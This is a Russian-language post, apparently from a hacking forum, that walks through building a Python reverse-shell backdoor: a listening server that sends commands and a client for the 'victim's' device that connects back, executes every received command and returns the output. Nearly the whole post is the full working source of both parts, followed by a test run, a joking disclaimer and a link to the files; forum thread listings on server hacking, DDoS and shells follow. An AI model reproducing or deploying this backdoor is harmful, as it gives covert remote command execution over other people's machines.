Интересно Клинет-сервер на Python3 на примере бэкдора

Eteriass

Original poster
Pro Member
Сообщения
93
Реакции
181
Посетить сайт
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
1640684936029.png

Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
1640685059569.png
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера

Python:
# Импортируем модуль для работы с сокетами

import socket

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "0.0.0.0" 
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket()  #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)

#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
    command = input(f"{cwd} $> ")
    if not command.strip():
        continue
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
    print("Вывод :", output)
    results, cwd = output.split(SEPARATOR)
    print(results)

#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()

И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу


#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
    command = s.recv(BUFFER_SIZE).decode()
    #Разделяем команду по разделителю, который мы создали раньше
    splited_command = command.split(SEPARATOR)
    if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
        break
    if "cd " in command: #Если "слово" cd присутствует в нашей команде
        try:
            """
            Удаляем "cd"
            меняем каталог на тот, который указан в строке
            """
            directory = str(command).replace('cd ', '').strip()
            os.chdir(str(directory))
        except FileNotFoundError as e: #если файл не найден, передаем ошибку
            output = str(e)
        else:
            output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
    else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
        output = subprocess.getoutput(command)
    cwd = os.getcwd() #Получаем рабочий каталог
    message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
    s.send(message.encode()) #Отправляем

#Если цикл прерван, закрываем сокет
s.close()

Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
1640689782979.png

Как видим команды выполняются, исполним еще несколько:
1640689822869.png
И, все как видим в порядке.

Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...

P.s. Ну куда же мы без дисклеймера :)

На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)

P.p.s Если лень переписывать, файлы найдете

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
Support81 Один файл — и сгорел весь сервер: что случилось с American Megatrends Новости в сети 0
W Бесплатный сервер VPS за 5 минут Раздача (аккаунтов/ключей) 2
Tania1212 Создал Discord сервер где будет моя музыка … Видео/Музыка 1
АнАлЬнАя ЧуПаКаБрА INLINE GTA 5 Чекер на rp сервер Проекты Private Keeper 0
Admin Интересно Дамп mc-magicstore.ru (Русский minecraft сервер) Другое 0
Admin Интересно Jabber сервер ufolabs.im Информация по работе сайта и форума 3
A Взломали архивный сервер Pale Moon Новости в сети 0
Tania1212 Продам Продаю сервер работающий под Android приложение на тематику анонимного чата Сайты/Хостинг/Сервера 0
K Можно ли взломать сервер… Вопросы и интересы 6
T Open Server - портативный локальный сервер Другие ЯП 0
K Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
V Как поднять dns-сервер Полезные статьи 1
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
G XAMPP - Web-сервер Полезные статьи 0
S Как делать DDos/Dos атаки через VDS сервер Spam/DDOS/Malware 0
I За сколько сольете мне DB Майнкрафт сайта(рашин сервер)) Полезные статьи 0
Admin Хакеры взломали dns-сервер сервиса blackwallet и похитили $400 тыс. в криптовалюте Новости в сети 0
Allen Запускаем собственный VPN-сервер на SSD VDS Полезные статьи 0
K Как взломать сервер андроид приложения? Вопросы и интересы 3
K Как открыть CS 1.6 сервер ? Вопросы и интересы 1
S Чекер базы на паблик и отправка привата на сервер Вопросы и интересы 6
Support81 Зашёл на сайт — открыл ворота в инфраструктуру. Lazarus снова в деле Новости в сети 0
Support81 ИИ-дубляж на YouTube: Видео создаются людьми, а успех достаётся машинам Новости в сети 0
Support81 Фейк не пройдёт: Google включила антивирус на рекламу Новости в сети 0
Support81 Мод на «ходить сквозь стены» в Roblox? Теперь вирус ходит сквозь ваш телефон Новости в сети 0
Support81 Трёхслойное шифрование и туннелирование: BRICKSTORM сносит любую защиту на своём пути Новости в сети 0
Support81 «PIN-код на лбу безопаснее»: Perplexity AI оказался настоящей находкой для шпиона Новости в сети 0
Support81 Хактивизм или шпионаж: кто на самом деле отключает воду и свет в городах Новости в сети 0
Support81 Вся финансовая система на GPT: что может пойти не так Новости в сети 0
Support81 25 000 за воздух: как «таможенники» из Telegram разводят на доверии Новости в сети 0
Support81 20 лет, миллионы на крипте и почти 60 за решёткой — кто такой King Bob из Scattered Spider? Новости в сети 0
wrangler65 Модель OnlyFans чуть не отправилась на тот свет из-за… голубя! Новости в сети 0
turbion0 Аферист предстанет перед судом за мошенничество более чем на 100 миллионов рублей. Новости в сети 0
Support81 Ошибка на TOR-сайте обернулась концом сразу для трёх группировок Новости в сети 0
Support81 Обман на блокчейне: кто нажился на фальшивом «да» от Украины Новости в сети 0
Support81 Хакеры добрались до ИИ-трейдинга: взлом на $107 000 Новости в сети 0
Support81 Романтика поддельная, деньги настоящие: четыре преступные группы обманули одиноких россиян на 9,8 млн Новости в сети 0
Support81 Кто за кулисами крипторынка: тайные игроки, влияющие на стоимость монет Новости в сети 0
Support81 ИИ-атаки на подъёме: почему 2024 год стал переломным для кибербезопасности Новости в сети 0
Support81 Data Ransom: шантаж выделился в самостоятельный сервис на черном рынке данных Новости в сети 0
Support81 Двойники Telegram захватили сеть: миллион пользователей на крючке Новости в сети 0
Support81 Сбой на ключевом интернет-узле в Москве: что произошло? Новости в сети 0
Support81 Заморозка помощи США лишила жертв работорговли в Азии надежды на спасение Новости в сети 0
Support81 Вакансии есть, специалистов нет: кризис на рынке информационной безопасности Новости в сети 0
Support81 INC Ransom: киберпреступная элита, которая держит весь мир на крючке Новости в сети 0
Support81 Ковровые бомбардировки в сети: DDoS-атаки выросли на 268% Новости в сети 0
Support81 Скамеры дуреют с этой прикормки: как секретный токен ФБР вывел мошенников на чистую воду Новости в сети 0
W На каких форумов сливают?? Вопросы и интересы 2
Support81 Банды программ-вымогателей выдают себя за ИТ-поддержку в фишинговых атаках на Microsoft Teams Новости в сети 0
Support81 ChatGPT вместо мозгов: школьники массово переходят на ChatGPT Новости в сети 0

Название темы